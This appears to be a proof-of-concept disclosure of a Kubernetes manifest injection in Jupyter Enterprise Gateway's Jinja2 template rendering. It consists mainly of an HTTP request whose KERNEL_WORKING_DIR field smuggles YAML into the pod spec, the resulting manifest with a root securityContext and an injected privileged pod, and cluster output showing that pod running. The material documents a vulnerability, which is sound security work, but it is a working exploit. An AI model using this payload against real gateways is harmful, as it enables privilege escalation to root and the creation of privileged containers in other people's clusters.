Jupyter Enterprise Gateway: Kubernetes Manifest Injection in Jinja2 Template Rendering

POST /api/kernels HTTP/1.1
Accept: application/json, */*;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Content-Length: 233
Content-Type: application/json
Host: localhost:31529
User-Agent: xh/0.24.0

{
    "env": {
        "KERNEL_POD_NAME": "working-dir-root",
        "KERNEL_NAMESPACE": "notebooks",
        "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n  securityContext:\\n    runAsUser: 0\\n    runAsGroup: 0\\n    fsGroup: 100\\n# HAHA - stray quote \""
    }
 }

# This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes.
# Substitution parameters are processed by the launch_kubernetes.py code located in the
# same directory.  Some values are factory values, while others (typically prefixed with 'kernel_') can be
# provided by the client.
#
# This file can be customized as needed.  No changes are required to launch_kubernetes.py provided kernel_
# values are used - which be automatically set from corresponding KERNEL_ env values.  Updates will be required
# to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced.
#
apiVersion: v1
kind: Pod
metadata:
  name: "working-dir-root"
  namespace: "notebooks"
  labels:
    kernel_id: "186f4ecf-bf90-40b8-b210-a0987bfce927"
    app: enterprise-gateway
    component: kernel
    source: kernel-pod.yaml
  annotations:
    cluster-autoscaler.kubernetes.io/safe-to-evict: "false"
spec:
  restartPolicy: Never
  serviceAccountName: "default"
# NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled.
# WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate
 # will result in the new kernel pod's effective group of 0 (root)! although the user will
# correspond to the runAsUser value.  As a result, BOTH should be uncommented AND the feature-gate
# should be enabled to ensure expected behavior.  In addition, 'fsGroup: 100' is recommended so
# that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the
# "kernel_uid" and "kernel_gid" values.
  securityContext:
    runAsUser: 1000
    runAsGroup: 100
    fsGroup: 100
  containers:
  - image: "elyra/kernel-py:3.2.3"
    name: "working-dir-root"
    env:
# Add any custom envs here that aren't already configured for the kernel's environment
#    - name: MY_CUSTOM_ENV
#      value: "my_custom_value"
    workingDir: "/tmp"

# INJECTION
  securityContext:
    runAsUser: 0
    runAsGroup: 0
    fsGroup: 100
# HAHA - stray quote "
    volumeMounts:
 # Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client
  volumes:
# Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client

    workingDir: "/tmp"

# INJECTION
...
---
apiVersion: v1
kind: Pod
metadata:
  name: injected-pod
spec:
  containers:
    - name: injected-container
      image: nginx
      ports:
        - containerPort: 80
      securityContext:
        privileged: true
        runAsUser: 0
        runAsGroup: 0
...
# HAHA - stray quote"
    volumeMounts:
# Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client
  volumes:
# Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client

NAME                   READY   STATUS    RESTARTS   AGE
injected-pod           1/1     Running   0          4s
working-dir-root-pod   1/1     Running   0          4s